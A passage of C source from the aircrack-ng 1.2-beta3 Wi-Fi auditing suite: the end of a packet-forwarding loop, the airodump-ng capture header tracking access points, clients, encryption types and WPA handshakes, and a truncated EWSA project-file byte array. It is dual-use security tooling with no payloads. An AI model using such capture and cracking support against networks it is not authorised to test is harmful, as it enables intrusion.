&read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-beta3/src/airodump-ng.h0000644000000000000000000004035312313366351016421 0ustar rootroot/* * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRODUMP_NG_H_ #define _AIRODUMP_NG_H_ #include "eapol.h" /* some constants */ #define MAX_IE_ELEMENT_SIZE 256 #define REFRESH_RATE 100000 /* default delay in us between updates */ #define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */ #define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */ #define NB_PWR 5 /* size of signal power ring buffer */ #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CARDS 8 /* maximum number of cards to capture from */ #define STD_OPN 0x0001 #define STD_WEP 0x0002 #define STD_WPA 0x0004 #define STD_WPA2 0x0008 #define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2) #define ENC_WEP 0x0010 #define ENC_TKIP 0x0020 #define ENC_WRAP 0x0040 #define ENC_CCMP 0x0080 #define ENC_WEP40 0x1000 #define ENC_WEP104 0x0100 #define ENC_FIELD (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104) #define AUTH_OPN 0x0200 #define AUTH_PSK 0x0400 #define AUTH_MGT 0x0800 #define AUTH_FIELD (AUTH_OPN | AUTH_PSK | AUTH_MGT) #define STD_QOS 0x2000 #define QLT_TIME 5 #define QLT_COUNT 25 #define SORT_BY_NOTHING 0 #define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 5 #define SORT_BY_CHAN 6 #define SORT_BY_MBIT 7 #define SORT_BY_ENC 8 #define SORT_BY_CIPHER 9 #define SORT_BY_AUTH 10 #define SORT_BY_ESSID 11 #define MAX_SORT 11 #define TEXT_RESET 0 #define TEXT_BRIGHT 1 #define TEXT_DIM 2 #define TEXT_UNDERLINE 3 #define TEXT_BLINK 4 #define TEXT_REVERSE 7 #define TEXT_HIDDEN 8 #define TEXT_MAX_STYLE 8 #define TEXT_BLACK 0 #define TEXT_RED 1 #define TEXT_GREEN 2 #define TEXT_YELLOW 3 #define TEXT_BLUE 4 #define TEXT_MAGENTA 5 #define TEXT_CYAN 6 #define TEXT_WHITE 7 #define TEXT_MAX_COLOR 7 #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" //milliseconds to store last packets #define BUFFER_TIME 3000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int get_ram_size(void); char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2); #define AIRODUMP_NG_CSV_EXT "csv" #define KISMET_CSV_EXT "kismet.csv" #define KISMET_NETXML_EXT "kismet.netxml" #define AIRODUMP_NG_GPS_EXT "gps" #define AIRODUMP_NG_CAP_EXT "cap" #define NB_EXTENSIONS 6 const unsigned char llcnull[4] = {0, 0, 0, 0}; char *f_ext[NB_EXTENSIONS] = { AIRODUMP_NG_CSV_EXT, AIRODUMP_NG_GPS_EXT, AIRODUMP_NG_CAP_EXT, IVS2_EXTENSION, KISMET_CSV_EXT, KISMET_NETXML_EXT }; extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; #define OUI_PATH0 "/etc/aircrack-ng/airodump-ng-oui.txt" #define OUI_PATH1 "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt" #define OUI_PATH2 "/usr/share/aircrack-ng/airodump-ng-oui.txt" #define OUI_PATH3 "/usr/share/misc/oui.txt" #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768 int read_pkts=0; int abg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int bg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0 }; int a_chans [] = { 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int *frequencies; /* linked list of received packets for the last few seconds */ struct pkt_buf { struct pkt_buf *next; /* next packet in list */ unsigned char *packet; /* packet */ unsigned short length; /* packet length */ struct timeval ctime; /* capture time */ }; /* oui struct for list management */ struct oui { char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3] (later) with the value (hex ascii will have to be converted) */ char manuf[128]; /* TODO: Switch to a char * later to improve memory usage */ struct oui *next; }; /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ time_t tinit, tlast; /* first and last time seen */ int channel; /* AP radio channel */ int max_speed; /* AP maximum speed in Mb/s */ int avg_power; /* averaged signal power */ int best_power; /* best signal power */ int power_index; /* index in power ring buf. */ int power_lvl[NB_PWR]; /* signal power ring buffer */ int preamble; /* 0 = long, 1 = short */ int security; /* ENC_*, AUTH_*, STD_* */ int beacon_logged; /* We need 1 beacon per AP */ int dict_started; /* 1 if dict attack started */ int ssid_length; /* length of ssid */ float gps_loc_min[5]; /* min gps coordinates */ float gps_loc_max[5]; /* max gps coordinates */ float gps_loc_best[5]; /* best gps coordinates */ unsigned long nb_bcn; /* total number of beacons */ unsigned long nb_pkt; /* total number of packets */ unsigned long nb_data; /* number of data packets */ unsigned long nb_data_old;/* number of data packets/sec*/ int nb_dataps; /* number of data packets/sec*/ struct timeval tv; /* time for data per second */ unsigned char bssid[6]; /* the access point's MAC */ char *manuf; /* the access point's manufacturer */ unsigned char essid[MAX_IE_ELEMENT_SIZE]; /* ascii network identifier */ unsigned long long timestamp; /* Timestamp to calculate uptime */ unsigned char lanip[4]; /* last detected ip address */ /* if non-encrypted network */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int rx_quality; /* percent of captured beacons */ int fcapt; /* amount of captured frames */ int fmiss; /* amount of missed frames */ unsigned int last_seq; /* last sequence number */ struct timeval ftimef; /* time of first frame */ struct timeval ftimel; /* time of last frame */ struct timeval ftimer; /* time of restart */ char *key; /* if wep-key found by dict */ int essid_stored; /* essid stored in ivs file? */ char decloak_detect; /* run decloak detection? */ struct pkt_buf *packets; /* list of captured packets (last few seconds) */ char is_decloak; /* detected decloak */ // This feature eats 48Mb per AP int EAP_detected; unsigned char *data_root; /* first 2 bytes of data if */ /* WEP network; used for */ /* detecting WEP cloak */ /* + one byte to indicate */ /* (in)existence of the IV */ int marked; int marked_color; }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char *manuf; /* the client's manufacturer */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][MAX_IE_ELEMENT_SIZE]; /* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequence number */ struct WPA_hdsk wpa; /* WPA handshake data */ int qos_to_ds; /* does it use 802.11e to ds */ int qos_fr_ds; /* does it receive 802.11e */ }; /* linked list of detected macs through ack, cts or rts frames */ struct NA_info { struct NA_info *prev; /* the prev client in list */ struct NA_info *next; /* the next client in list */ time_t tinit, tlast; /* first and last time seen */ unsigned char namac[6]; /* the stations MAC address */ int power; /* last signal power */ int channel; /* captured on channel */ int ack; /* number of ACK frames */ int ack_old; /* old number of ACK frames */ int ackps; /* number of ACK frames/s */ int cts; /* number of CTS frames */ int rts_r; /* number of RTS frames (rx) */ int rts_t; /* number of RTS frames (tx) */ int other; /* number of other frames */ struct timeval tv; /* time for ack per second */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; struct NA_info *na_1st, *na_end; struct oui *manufList; unsigned char prev_bssid[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char **f_essid; int f_essid_count; #ifdef HAVE_PCRE pcre *f_essid_regex; #endif char *dump_prefix; char *keyout; char *f_cap_name; int f_index; /* outfiles index */ FILE *f_txt; /* output csv file */ FILE *f_kis; /* output kismet csv file */ FILE *f_kis_xml; /* output kismet netxml file */ FILE *f_gps; /* output gps file */ FILE *f_cap; /* output cap file */ FILE *f_ivs; /* output ivs file */ FILE *f_xor; /* output prga file */ char * batt; /* Battery string */ int channel[MAX_CARDS]; /* current channel # */ int frequency[MAX_CARDS]; /* current frequency # */ int ch_pipe[2]; /* current channel pipe */ int cd_pipe[2]; /* current card pipe */ int gc_pipe[2]; /* gps coordinates pipe */ float gps_loc[5]; /* gps coordinates */ int save_gps; /* keep gps file flag */ int usegpsd; /* do we use GPSd? */ int *channels; // int *frequencies; int singlechan; /* channel hopping set 1*/ int singlefreq; /* frequency hopping: 1 */ int chswitch; /* switching method */ int f_encrypt; /* encryption filter */ int update_s; /* update delay in sec */ int is_wlanng[MAX_CARDS]; /* set if wlan-ng */ int is_orinoco[MAX_CARDS]; /* set if orinoco */ int is_madwifing[MAX_CARDS]; /* set if madwifi-ng */ int is_zd1211rw[MAX_CARDS]; /* set if zd1211rw */ volatile int do_exit; /* interrupt flag */ struct winsize ws; /* console window size */ char * elapsed_time; /* capture time */ int one_beacon; /* Record only 1 beacon?*/ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; char *prefix; int sk_len; int sk_len2; int * own_channels; /* custom channel list */ int * own_frequencies; /* custom frequency list */ int record_data; /* do we record data? */ int asso_client; /* only show associated clients */ char * iwpriv; char * iwconfig; char * wlanctlng; char * wl; unsigned char wpa_bssid[6]; /* the wpa handshake bssid */ char message[512]; char decloak; char is_berlin; /* is the switch --berlin set? */ int numaps; /* number of APs on the current list */ int maxnumaps; /* maximum nubers of APs on the list */ int maxaps; /* number of all APs found */ int berlin; /* number of seconds it takes in berlin to fill the whole screen with APs*/ /* * The name for this option may look quite strange, here is the story behind it: * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit Berlin * and couldn't resist to turn on airodump-ng to see how much access point we can * get during the trip from Finowfurt to Berlin. When we were in Berlin, the number * of AP increase really fast, so fast that it couldn't fit in a screen, even rotated; * the list was really huge (we have a picture of that). The 2 minutes timeout * (if the last packet seen is higher than 2 minutes, the AP isn't shown anymore) * wasn't enough, so we decided to create a new option to change that timeout. * We implemented this option in the highest tower (TV Tower) of Berlin, eating an ice. */ int show_ap; int show_sta; int show_ack; int hide_known; int hopfreq; char* s_file; /* source file to read packets */ char* s_iface; /* source interface to read from */ FILE *f_cap_in; struct pcap_file_header pfh_in; int detect_anomaly; /* Detect WIPS protecting WEP in action */ char *freqstring; int freqoption; int chanoption; int active_scan_sim; /* simulates an active scan, sending probe requests */ /* Airodump-ng start time: for kismet netxml file */ char * airodump_start_time; int output_format_pcap; int output_format_csv; int output_format_kismet_csv; int output_format_kismet_netxml; pthread_t input_tid; int sort_by; int sort_inv; int start_print_ap; int start_print_sta; int selected_ap; int selected_sta; int selection_ap; int selection_sta; int mark_cur_ap; int num_cards; int skip_columns; int do_pause; int do_sort_always; pthread_mutex_t mx_print; /* lock write access to ap LL */ pthread_mutex_t mx_sort; /* lock write access to ap LL */ uchar selected_bssid[6]; /* bssid that is selected */ int ignore_negative_one; u_int maxsize_essid_seen; int show_manufacturer; int show_uptime; } G; #endif aircrack-ng-1.2-beta3/src/wkp-frame.h0000644000000000000000000004256211447177005016077 0ustar rootroot/* * Elcomsoft Wireless Security Auditor (EWSA) Project File's Frame (3.02) * * Copyright (C) 2010 ZhaoChunsheng * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #define WKP_FRAME_LENGTH 2622 char wkp_frame[WKP_FRAME_LENGTH] = { 0x43, 0x50, 0x57, 0x45, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0xc2, 0xe6, 0x8f, 0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 